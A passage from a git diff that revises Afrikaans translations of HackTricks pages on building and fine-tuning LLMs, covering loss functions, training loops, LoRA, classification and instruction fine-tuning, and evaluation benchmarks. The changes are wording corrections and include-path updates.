-> Anders as greedy search, wat die mees waarskynlike volgende woord by elke stap kies en 'n enkele reeks bou, **hou beam search die top 𝑘 k hoogste-telling gedeeltelike reekse** (genoem "beams") by elke stap dop. Deur verskeie moontlikhede gelyktydig te verken, balanseer dit doeltreffendheid en kwaliteit, wat die kanse verhoog om 'n **beter algehele** reeks te vind wat dalk deur die greedy benadering gemis kan word weens vroeë, suboptimale keuses.
+> 'n Ander manier om die gegenereerde teks te verbeter, is deur **Beam search** te gebruik in plaas van die greedy search wat in hierdie voorbeeld gebruik is.\
+> Anders as greedy search, wat die mees waarskynlike volgende woord by elke stap kies en 'n enkele volgorde bou, **hou beam search die top 𝑘 k hoogste-telling gedeeltelike volgordes** (genoem "beams") by elke stap dop. Deur verskeie moontlikhede gelyktydig te verken, balanseer dit doeltreffendheid en kwaliteit, wat die kanse verhoog om 'n **beter algehele** volgorde te vind wat dalk deur die greedy benadering gemis kan word weens vroeë, suboptimale keuses.
 >
 > _Let daarop dat hierdie verbetering nie in die vorige kode ingesluit is nie._

-### Verlies funksies
+### Verliesfunksies

-Die **`calc_loss_batch`** funksie bereken die kruis entropie van 'n voorspelling van 'n enkele batch.\
-Die **`calc_loss_loader`** verkry die kruis entropie van al die batches en bereken die **gemiddelde kruis entropie**.
+Die **`calc_loss_batch`** funksie bereken die kruisentropie van 'n voorspelling van 'n enkele bondel.\
+Die **`calc_loss_loader`** verkry die kruisentropie van al die bondels en bereken die **gemiddelde kruisentropie**.
 ```python
 # Define loss functions
 def calc_loss_batch(input_batch, target_batch, model, device):
@ -637,7 +637,7 @@ break
 return total_loss / num_batches
 ```
 > [!TIP]
-> **Gradient clipping** is 'n tegniek wat gebruik word om **opleiding stabiliteit** in groot neurale netwerke te verbeter deur 'n **maksimum drempel** vir gradiëntgroottes in te stel. Wanneer gradiënte hierdie voorafbepaalde `max_norm` oorskry, word hulle proporsioneel afgeneem om te verseker dat opdaterings aan die model se parameters binne 'n hanteerbare reeks bly, wat probleme soos ontploffende gradiënte voorkom en 'n meer beheerde en stabiele opleiding verseker.
+> **Gradient clipping** is 'n tegniek wat gebruik word om **opleiding stabiliteit** in groot neurale netwerke te verbeter deur 'n **maksimum drempel** vir gradientgroottes in te stel. Wanneer gradienten hierdie voorafbepaalde `max_norm` oorskry, word hulle proporsioneel afgeneem om te verseker dat opdaterings aan die model se parameters binne 'n hanteerbare reeks bly, wat probleme soos ontploffende gradienten voorkom en 'n meer beheerde en stabiele opleiding verseker.
 >
 > _Let daarop dat hierdie verbetering nie in die vorige kode ingesluit is._
 >
@ -649,13 +649,13 @@ return total_loss / num_batches

 Die funksies `create_dataloader_v1` en `create_dataloader_v1` is reeds in 'n vorige afdeling bespreek.

-Van hier af, let op hoe dit gedefinieer is dat 90% van die teks vir opleiding gebruik gaan word terwyl die 10% vir validasie gebruik sal word en albei stelle in 2 verskillende data laders gestoor word.\
+Van hier af, let op hoe dit gedefinieer is dat 90% van die teks vir opleiding gebruik gaan word terwyl die 10% vir validasie gebruik sal word en albei stelle in 2 verskillende data laaiers gestoor word.\
 Let daarop dat 'n deel van die datastel soms ook vir 'n toetsstel gelaat word om die prestasie van die model beter te evalueer.

-Albei data laders gebruik dieselfde batchgrootte, maksimum lengte en stapgrootte en aantal werkers (0 in hierdie geval).\
-Die hoofverskille is die data wat deur elkeen gebruik word, en die validators laat nie die laaste val nie en skud ook nie die data nie, aangesien dit nie vir validasiedoeleindes nodig is nie.
+Albei data laaiers gebruik dieselfde batchgrootte, maksimum lengte en stapgrootte en aantal werkers (0 in hierdie geval).\
+Die hoof verskille is die data wat deur elkeen gebruik word, en die validators laat nie die laaste val nie en skud ook nie die data nie, aangesien dit nie vir validasiedoeleindes nodig is nie.

-Ook die feit dat **stapgrootte so groot soos die kontekslengte is**, beteken dat daar geen oorvleueling tussen kontekste wat gebruik word om die data op te lei sal wees nie (vermin oorpassing maar ook die opleidingsdatastel).
+Ook die feit dat **stapgrootte so groot soos die kontekste lengte is**, beteken dat daar nie oorvleueling tussen kontekste wat gebruik word om die data op te lei sal wees nie (vermin die oorpassing maar ook die opleidingsdatastel).

 Boonop, let daarop dat die batchgrootte in hierdie geval 2 is om die data in 2 batches te verdeel, die hoofdoel hiervan is om parallelle verwerking toe te laat en die verbruik per batch te verminder.
 ```python
@ -723,7 +723,7 @@ print("All tokens:", train_tokens + val_tokens)
 ```
 ### Kies toestel vir opleiding & vooraf berekeninge

-Die volgende kode kies net die toestel om te gebruik en bereken 'n opleidingsverlies en 'n validasieverlies (sonder om enigiets nog op te lei) as 'n beginpunt.
+Die volgende kode kies net die toestel om te gebruik en bereken 'n opleidingsverlies en 'n valideringsverlies (sonder om enigiets nog op te lei) as 'n beginpunt.
 ```python
 # Indicate the device to use

@ -760,13 +760,13 @@ Dan is die groot funksie `train_model_simple` die een wat eintlik die model ople
 - Die validator laaier
 - Die **optimizer** wat tydens opleiding gebruik moet word: Dit is die funksie wat die gradiënte sal gebruik en die parameters sal opdateer om die verlies te verminder. In hierdie geval, soos jy sal sien, word `AdamW` gebruik, maar daar is baie meer.
 - `optimizer.zero_grad()` word aangeroep om die gradiënte op elke ronde te reset om te voorkom dat hulle ophoop.
- Die **`lr`** parameter is die **leer tempo** wat die **grootte van die stappe** bepaal wat tydens die optimaliseringsproses geneem word wanneer die model se parameters opdateer word. 'n **Kleinere** leer tempo beteken die optimizer **maak kleiner opdaterings** aan die gewigte, wat kan lei tot meer **presiese** konvergensie maar kan **opleiding vertraag**. 'n **Groter** leer tempo kan opleiding versnel maar **risiko's om oor te skiet** van die minimum van die verliesfunksie (**spring oor** die punt waar die verliesfunksie geminimaliseer word).
+- Die **`lr`** parameter is die **leer tempo** wat die **grootte van die stappe** bepaal wat tydens die optimaliseringsproses geneem word wanneer die model se parameters opgedateer word. 'n **Kleinere** leer tempo beteken die optimizer **maak kleiner opdaterings** aan die gewigte, wat kan lei tot meer **presiese** konvergensie maar kan **opleiding vertraag**. 'n **Groter** leer tempo kan opleiding versnel maar **risiko's om oor te skiet** van die minimum van die verliesfunksie (**spring oor** die punt waar die verliesfunksie geminimaliseer word).
 - **Gewig Afsak** wysig die **Verlies Berekening** stap deur 'n ekstra term by te voeg wat groot gewigte straf. Dit moedig die optimizer aan om oplossings met kleiner gewigte te vind, wat 'n balans skep tussen die data goed aan te pas en die model eenvoudig te hou om oorpassing in masjienleer modelle te voorkom deur die model te ontmoedig om te veel belang aan enige enkele kenmerk toe te ken.
- Tradisionele optimizers soos SGD met L2 regulering koppel gewig afsak met die gradiënt van die verliesfunksie. egter, **AdamW** (n variant van Adam optimizer) ontkoppel gewig afsak van die gradiënt opdatering, wat lei tot meer effektiewe regulering.
+- Tradisionele optimizers soos SGD met L2 regulering koppel gewig afsak met die gradiënt van die verliesfunksie. egter, **AdamW** (n variant van Adam optimizer) ontkoppel gewig afsak van die gradiëntopdatering, wat lei tot meer effektiewe regulering.
 - Die toestel om vir opleiding te gebruik
 - Die aantal epoches: Aantal kere om oor die opleidingsdata te gaan
- Die evaluering frekwensie: Die frekwensie om `evaluate_model` aan te roep
- Die evaluering iterasie: Die aantal bondels om te gebruik wanneer die huidige toestand van die model geëvalueer word wanneer `generate_and_print_sample` aangeroep word
+- Die evaluasiefrekwensie: Die frekwensie om `evaluate_model` aan te roep
+- Die evaluasie-iterasie: Die aantal bondels om te gebruik wanneer die huidige toestand van die model geëvalueer word wanneer `generate_and_print_sample` aangeroep word
 - Die begin konteks: Wat die begin sin is om te gebruik wanneer `generate_and_print_sample` aangeroep word
 - Die tokenizer
 ```python
@ -833,7 +833,7 @@ model.train() # Back to training model applying all the configurations
 > Om die leer tempo te verbeter, is daar 'n paar relevante tegnieke genaamd **lineêre opwarming** en **kosyn afname.**
 >
 > **Lineêre opwarming** bestaan uit die definieer van 'n aanvanklike leer tempo en 'n maksimum een en om dit konsekwent na elke epocha op te dateer. Dit is omdat die begin van die opleiding met kleiner gewig opdaterings die risiko verminder dat die model groot, destabiliserende opdaterings tydens sy opleidingsfase teëkom.\
-> **Kosyn afname** is 'n tegniek wat **geleidelik die leer tempo verminder** volgens 'n half-kosynkurwe **na die opwarm** fase, wat gewig opdaterings vertraag om **die risiko van oorskiet** van die verlies minima te minimaliseer en om opleidingsstabiliteit in latere fases te verseker.
+> **Kosyn afname** is 'n tegniek wat **geleidelik die leer tempo verminder** volgens 'n half-kosyn kromme **na die opwarm** fase, wat gewig opdaterings vertraag om **die risiko van oorskry** van die verlies minima te minimaliseer en om opleidings stabiliteit in latere fases te verseker.
 >
 > _Let daarop dat hierdie verbeterings nie in die vorige kode ingesluit is nie._

@ -936,11 +936,11 @@ model.eval() # Put in eval mode
 Daar is 2 vinnige skripte om die GPT2 gewigte plaaslik te laai. Vir albei kan jy die repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) plaaslik kloon, dan:

 - Die skrip [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) sal al die gewigte aflaai en die formate van OpenAI na die formate wat deur ons LLM verwag word, transformeer. Die skrip is ook voorberei met die nodige konfigurasie en met die prompt: "Elke poging beweeg jou"
- Die skrip [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) laat jou toe om enige van die GPT2 gewigte plaaslik te laai (verander net die `CHOOSE_MODEL` var) en teks te voorspel vanaf 'n paar prompts.
+- Die skrip [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) laat jou toe om enige van die GPT2 gewigte plaaslik te laai (verander net die `CHOOSE_MODEL` var) en teks te voorspel vanaf sommige prompts.

 ## Verwysings

 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)


-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
+++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
@ -1,6 +1,6 @@
 # 7.0. LoRA Verbeterings in fyn-afstemming

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## LoRA Verbeterings

@ -19,7 +19,7 @@ LoRA maak dit moontlik om **groot modelle** doeltreffend fyn af te stem deur sle
 3. **Doeltreffende Taakspesifieke Fyn-afstemming**: Wanneer jy die model wil aanpas vir 'n **nuwe taak**, kan jy net die **klein LoRA matrikse** (A en B) oplei terwyl jy die res van die model soos dit is, laat. Dit is **baie doeltreffender** as om die hele model weer op te lei.
 4. **Bergingseffektiwiteit**: Na fyn-afstemming, in plaas daarvan om 'n **heel nuwe model** vir elke taak te stoor, hoef jy slegs die **LoRA matrikse** te stoor, wat baie klein is in vergelyking met die hele model. Dit maak dit makliker om die model aan te pas vir baie take sonder om te veel berging te gebruik.

-Om LoraLayers in plaas van Linear te implementeer tydens 'n fyn-afstemming, word hierdie kode hier voorgestel [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
+Om LoraLayers in plaas van Linear eenhede tydens 'n fyn-afstemming te implementeer, word hierdie kode hier voorgestel [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
 ```python
 import math

@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha)

 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
+++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
@ -1,32 +1,32 @@
 # 7.1. Fyn-afstemming vir Kategorisering

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Wat is

 Fyn-afstemming is die proses om 'n **vooraf-geleerde model** te neem wat **algemene taalpatrone** uit groot hoeveelhede data geleer het en dit **aan te pas** om 'n **spesifieke taak** uit te voer of om domein-spesifieke taal te verstaan. Dit word bereik deur die opleiding van die model voort te sit op 'n kleiner, taak-spesifieke dataset, wat dit toelaat om sy parameters aan te pas om beter by die nuanses van die nuwe data te pas terwyl dit die breë kennis wat dit reeds verwerf het, benut. Fyn-afstemming stel die model in staat om meer akkurate en relevante resultate in gespesialiseerde toepassings te lewer sonder die behoefte om 'n nuwe model van nuuts af op te lei.

 > [!TIP]
-> Aangesien dit redelik duur is om 'n LLM wat die teks "begryp" vooraf te leer, is dit gewoonlik makliker en goedkoper om oopbron vooraf-geleerde modelle fyn-af te stem om 'n spesifieke taak uit te voer wat ons wil hê dit moet uitvoer.
+> Aangesien dit redelik duur is om 'n LLM wat "begrip" het van die teks vooraf te leer, is dit gewoonlik makliker en goedkoper om oopbron vooraf-geleerde modelle fyn-af te stem om 'n spesifieke taak uit te voer wat ons wil hê dit moet uitvoer.

 > [!TIP]
 > Die doel van hierdie afdeling is om te wys hoe om 'n reeds vooraf-geleerde model fyn-af te stem sodat die LLM, in plaas daarvan om nuwe teks te genereer, die **waarskynlikhede van die gegewe teks wat in elkeen van die gegewe kategorieë gekategoriseer word** (soos of 'n teks spam is of nie) sal gee.

 ## Voorbereiding van die dataset

-### Dataset grootte
+### Datasetgrootte

-Natuurlik, om 'n model fyn-af te stem, benodig jy 'n paar gestruktureerde data om jou LLM te spesialiseer. In die voorbeeld wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), word GPT2 fyn-afgestem om te detecteer of 'n e-pos spam is of nie met die data van [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
+Natuurlik, om 'n model fyn-af te stem, het jy 'n paar gestruktureerde data nodig om jou LLM te spesialiseer. In die voorbeeld wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), word GPT2 fyn-afgestem om te detecteer of 'n e-pos spam is of nie met die data van [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._

 Hierdie dataset bevat baie meer voorbeelde van "nie spam" as van "spam", daarom stel die boek voor om **slegs soveel voorbeelde van "nie spam" as van "spam" te gebruik** (daarom, om al die ekstra voorbeelde uit die opleidingsdata te verwyder). In hierdie geval was dit 747 voorbeelde van elkeen.

 Toe, **70%** van die dataset word gebruik vir **opleiding**, **10%** vir **validasie** en **20%** vir **toetsing**.

 - Die **validasieset** word tydens die opleidingsfase gebruik om die model se **hiperparameters** fyn-af te stem en besluite te neem oor modelargitektuur, wat effektief help om oorpassing te voorkom deur terugvoer te gee oor hoe die model presteer op ongekende data. Dit stel iteratiewe verbeterings in staat sonder om die finale evaluasie te bevoordeel.
- Dit beteken dat alhoewel die data wat in hierdie dataset ingesluit is nie direk vir die opleiding gebruik word nie, dit gebruik word om die beste **hiperparameters** te stem, so hierdie stel kan nie gebruik word om die model se prestasie te evalueer soos die toetsstel nie.
- In teenstelling hiermee, die **toetsstel** word **slegs na** die model ten volle opgelei is en al die aanpassings voltooi is, gebruik; dit bied 'n onbevooroordeelde beoordeling van die model se vermoë om te generaliseer na nuwe, ongekende data. Hierdie finale evaluasie op die toetsstel gee 'n realistiese aanduiding van hoe die model verwag word om in werklike toepassings te presteer.
+- Dit beteken dat alhoewel die data wat in hierdie dataset ingesluit is nie direk vir die opleiding gebruik word nie, dit gebruik word om die beste **hiperparameters** te stem, so hierdie stel kan nie gebruik word om die prestasie van die model te evalueer soos die toets een nie.
+- In teenstelling hiermee, die **toetsstel** word **slegs na** die model volledig opgelei is en al die aanpassings voltooi is, gebruik; dit bied 'n onbevooroordeelde beoordeling van die model se vermoë om te generaliseer na nuwe, ongekende data. Hierdie finale evaluasie op die toetsstel gee 'n realistiese aanduiding van hoe die model verwag word om in werklike toepassings te presteer.

-### Inskrywings lengte
+### Inskrywingslengte

 Aangesien die opleidingsvoorbeeld inskrywings (e-pos teks in hierdie geval) van dieselfde lengte verwag, is daar besluit om elke inskrywing so groot te maak soos die grootste een deur die id's van `<|endoftext|>` as opvulling by te voeg.

@ -34,9 +34,9 @@ Aangesien die opleidingsvoorbeeld inskrywings (e-pos teks in hierdie geval) van

 Gebruik die oopbron vooraf-geleerde gewigte om die model te begin oplei. Ons het dit al voorheen gedoen en volg die instruksies van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) kan jy dit maklik doen.

-## Kategorisering kop
+## Kategoriseringskop

-In hierdie spesifieke voorbeeld (voorspel of 'n teks spam is of nie), is ons nie geïnteresseerd in fyn-afstemming volgens die volledige woordeskat van GPT2 nie, maar ons wil net hê die nuwe model moet sê of die e-pos spam is (1) of nie (0). Daarom gaan ons die **laaste laag wat** die waarskynlikhede per token van die woordeskat gee, aanpas vir een wat slegs die waarskynlikhede van spam of nie spam gee (soos 'n woordeskat van 2 woorde).
+In hierdie spesifieke voorbeeld (voorspel of 'n teks spam is of nie), is ons nie geïnteresseerd in fyn-afstemming volgens die volledige woordeskat van GPT2 nie, maar ons wil net hê die nuwe model moet sê of die e-pos spam is (1) of nie (0). Daarom gaan ons die **laaste laag wat** die waarskynlikhede per token van die woordeskat gee, aanpas na een wat slegs die waarskynlikhede van spam of nie spam gee (soos 'n woordeskat van 2 woorde).
 ```python
 # This code modified the final layer with a Linear one with 2 outs
 num_classes = 2
@ -66,7 +66,7 @@ param.requires_grad = True
 ```
 ## Entries to use for training

-In vorige afdelings is die LLM opgelei deur die verlies van elke voorspelde token te verminder, alhoewel byna al die voorspelde tokens in die invoer sin was (slegs 1 aan die einde was werklik voorspel) sodat die model die taal beter kan verstaan.
+In vorige afdelings is die LLM opgelei deur die verlies van elke voorspelde token te verminder, alhoewel byna al die voorspelde tokens in die invoer sin was (slegs 1 aan die einde was regtig voorspel) sodat die model die taal beter kan verstaan.

 In hierdie geval is ons net geïnteresseerd in die model se vermoë om te voorspel of die model spam is of nie, so ons is net geïnteresseerd in die laaste voorspelde token. Daarom is dit nodig om ons vorige opleidingsverlies funksies te wysig om slegs daardie token in ag te neem.

@ -111,4 +111,4 @@ Jy kan al die kode vind om GPT2 te fyn-afstem om 'n spam klassifiseerder te wees

 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
+++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
@ -1,13 +1,13 @@
-# 7.2. Fyn-afstelling om instruksies te volg
+# 7.2. Fyn-afstemming om instruksies te volg

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 > [!TIP]
-> Die doel van hierdie afdeling is om te wys hoe om 'n **reeds vooropgestelde model fyn af te stel om instruksies te volg** eerder as net teks te genereer, byvoorbeeld, om op take as 'n chat bot te reageer.
+> Die doel van hierdie afdeling is om te wys hoe om 'n **reeds vooropgeleide model fyn af te stem om instruksies te volg** eerder as net teks te genereer, byvoorbeeld, om op take as 'n chat bot te reageer.

 ## Dataset

-Om 'n LLM fyn af te stel om instruksies te volg, is dit nodig om 'n dataset met instruksies en antwoorde te hê om die LLM fyn af te stel. Daar is verskillende formate om 'n LLM op te lei om instruksies te volg, byvoorbeeld:
+Om 'n LLM fyn af te stem om instruksies te volg, is dit nodig om 'n dataset met instruksies en antwoorde te hê om die LLM fyn af te stem. Daar is verskillende formate om 'n LLM op te lei om instruksies te volg, byvoorbeeld:

 - Die Apply Alpaca prompt styl voorbeeld:
 ```csharp
@ -29,9 +29,9 @@ Can you explain what gravity is in simple terms?
 <|Assistant|>
 Absolutely! Gravity is a force that pulls objects toward each other.
 ```
-Training a LLM met hierdie soort datastelle in plaas van net rou teks help die LLM om te verstaan dat hy spesifieke antwoorde op die vrae wat hy ontvang, moet gee.
+Die opleiding van 'n LLM met hierdie soort datastelle in plaas van net rou teks help die LLM om te verstaan dat hy spesifieke antwoorde op die vrae wat hy ontvang, moet gee.

-Daarom is een van die eerste dinge om te doen met 'n dataset wat versoeke en antwoorde bevat, om daardie data in die gewenste promptformaat te modelleer, soos:
+Daarom is een van die eerste dinge om te doen met 'n datastel wat versoeke en antwoorde bevat, om daardie data in die gewenste promptformaat te modelleer, soos:
 ```python
 # Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
 def format_input(entry):
@ -58,7 +58,7 @@ Then, soos altyd, is dit nodig om die dataset in stelle vir opleiding, validasie
 Dan is dit nodig om al die insette en verwagte uitsette vir die opleiding in batches te plaas. Hiervoor is dit nodig om:

 - Tokenize die teks
- Vul al die monsters tot dieselfde lengte (gewoonlik sal die lengte so groot wees soos die kontekslengte wat gebruik is om die LLM voor te leer)
+- Vul al die monsters tot dieselfde lengte (gewoonlik sal die lengte so groot wees soos die kontekslengte wat gebruik is om die LLM voor te oefen)
 - Skep die verwagte tokens deur die inset met 1 in 'n pasgemaakte collate-funksie te skuif
 - Vervang sommige padding tokens met -100 om hulle van die opleidingsverlies uit te sluit: Na die eerste `endoftext` token, vervang al die ander `endoftext` tokens met -100 (want die gebruik van `cross_entropy(...,ignore_index=-100)` beteken dat dit teikens met -100 sal ignoreer)
 - \[Opsioneel\] Masker met -100 ook al die tokens wat aan die vraag behoort sodat die LLM net leer hoe om die antwoord te genereer. In die Apply Alpaca styl sal dit beteken om alles te masker tot `### Response:`
@ -81,15 +81,15 @@ Ander toetse om te loop om die kwaliteit van die antwoorde te verifieer:

 1. **Meet Massiewe Multitask Taalbegrip (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU evalueer 'n model se kennis en probleemoplossingsvermoëns oor 57 vakke, insluitend menswetenskappe, wetenskappe, en meer. Dit gebruik meerkeuse vrae om begrip op verskillende moeilikheidsvlakke te assesseer, van elementêr tot gevorderd professioneel.
 2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Hierdie platform laat gebruikers toe om antwoorde van verskillende chatbots langs mekaar te vergelyk. Gebruikers voer 'n prompt in, en verskeie chatbots genereer antwoorde wat direk vergelyk kan word.
-3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval is 'n geoutomatiseerde evalueringsraamwerk waar 'n gevorderde LLM soos GPT-4 die antwoorde van ander modelle op verskillende prompts evalueer.
-4. **Algemene Taalbegrip Evaluasie (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE is 'n versameling van nege natuurlike taalbegrip take, insluitend sentimentanalise, teksafleiding, en vraagbeantwoording.
+3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval is 'n geoutomatiseerde evaluasieraamwerk waar 'n gevorderde LLM soos GPT-4 die antwoorde van ander modelle op verskeie prompts evalueer.
+4. **Algemene Taalbegrip Evaluasie (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE is 'n versameling van nege natuurlike taalbegrip take, insluitend sentimentanalise, teksimplikasie, en vraagbeantwoording.
 5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Gebaseer op GLUE, sluit SuperGLUE meer uitdagende take in wat ontwerp is om moeilik te wees vir huidige modelle.
-6. **Buiten die Imitasie Speletjie Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench is 'n groot skaal benchmark met meer as 200 take wat 'n model se vermoëns in areas soos redeneer, vertaling, en vraagbeantwoording toets.
+6. **Buiten die Imitasie Speletjie Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench is 'n grootmaat benchmark met meer as 200 take wat 'n model se vermoëns in areas soos redeneer, vertaling, en vraagbeantwoording toets.
 7. **Holistiese Evaluasie van Taalmodelle (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM bied 'n omvattende evaluasie oor verskeie metrieks soos akkuraatheid, robuustheid, en billikheid.
-8. [**OpenAI Evals**](https://github.com/openai/evals)**:** 'n oopbron evalueringsraamwerk deur OpenAI wat toelaat vir die toetsing van KI-modelle op pasgemaakte en gestandaardiseerde take.
+8. [**OpenAI Evals**](https://github.com/openai/evals)**:** 'n Oopbron evaluasieraamwerk deur OpenAI wat toelaat dat AI-modelle op pasgemaakte en gestandaardiseerde take getoets word.
 9. [**HumanEval**](https://github.com/openai/human-eval)**:** 'n Versameling programmeringsprobleme wat gebruik word om die kodegenereringsvermoëns van taalmodelle te evalueer.
 10. **Stanford Vraagbeantwoording Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD bestaan uit vrae oor Wikipedia-artikels, waar modelle die teks moet verstaan om akkuraat te antwoord.
-11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 'n Groot skaal dataset van trivia vrae en antwoorde, saam met bewysdokumente.
+11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** 'n Grootmaat dataset van trivia vrae en antwoorde, saam met bewysdokumente.

 en baie baie meer

@ -101,4 +101,4 @@ Jy kan 'n voorbeeld van die kode om hierdie fyn afstemming uit te voer vind in [

 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/AI/AI-llm-architecture/README.md
+++ b/src/AI/AI-llm-architecture/README.md
@ -1,6 +1,6 @@
 # LLM Opleiding - Data Voorbereiding

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 **Dit is my aantekeninge uit die baie aanbevole boek** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **met 'n paar ekstra inligting.**

@ -33,7 +33,7 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
 ## 3. Token Inbedings

 > [!TIP]
-> Die doel van hierdie derde fase is baie eenvoudig: **Ken elkeen van die vorige tokens in die woordeskat 'n vektor van die verlangde dimensies toe om die model op te lei.** Elke woord in die woordeskat sal 'n punt in 'n ruimte van X dimensies wees.\
+> Die doel van hierdie derde fase is baie eenvoudig: **Ken elkeen van die vorige tokens in die woordeskat 'n vektor van die verlangde dimensies toe om die model te oefen.** Elke woord in die woordeskat sal 'n punt in 'n ruimte van X dimensies wees.\
 > Let daarop dat die posisie van elke woord in die ruimte aanvanklik net "ewekansig" geinitialiseer word en dat hierdie posisies opleibare parameters is (sal verbeter word tydens die opleiding).
 >
 > Boonop, tydens die token inbedding **word 'n ander laag van inbeddings geskep** wat (in hierdie geval) die **absolute posisie van die woord in die opleidingssin** verteenwoordig. Op hierdie manier sal 'n woord in verskillende posisies in die sin 'n ander voorstelling (betekenis) hê.
@ -46,7 +46,7 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet

 > [!TIP]
 > Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandag meganismes toe**. Hierdie gaan baie **herhaalde lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM op te lei, vasvang**.\
-> 'n Groot aantal lae word hiervoor gebruik, so 'n groot aantal opleibare parameters gaan hierdie inligting vasvang.
+> 'n Baie lae word hiervoor gebruik, so 'n baie opleibare parameters gaan hierdie inligting vasvang.

 {{#ref}}
 4.-attention-mechanisms.md
@ -66,7 +66,7 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
 ## 6. Vooropleiding & Laai modelle

 > [!TIP]
-> Die doel van hierdie sesde fase is baie eenvoudig: **Oplei die model van nuuts af**. Hiervoor sal die vorige LLM argitektuur gebruik word met 'n paar lusse wat oor die datastelle gaan met behulp van die gedefinieerde verliesfunksies en optimizer om al die parameters van die model op te lei.
+> Die doel van hierdie sesde fase is baie eenvoudig: **Oefen die model van nuuts af**. Hiervoor sal die vorige LLM argitektuur gebruik word met 'n paar lusse wat oor die datastelle gaan met die gedefinieerde verliesfunksies en optimizer om al die parameters van die model op te lei.

 {{#ref}}
 6.-pre-training-and-loading-models.md
@ -84,7 +84,7 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
 ## 7.1. Fyn-Afstemming vir Kategorisering

 > [!TIP]
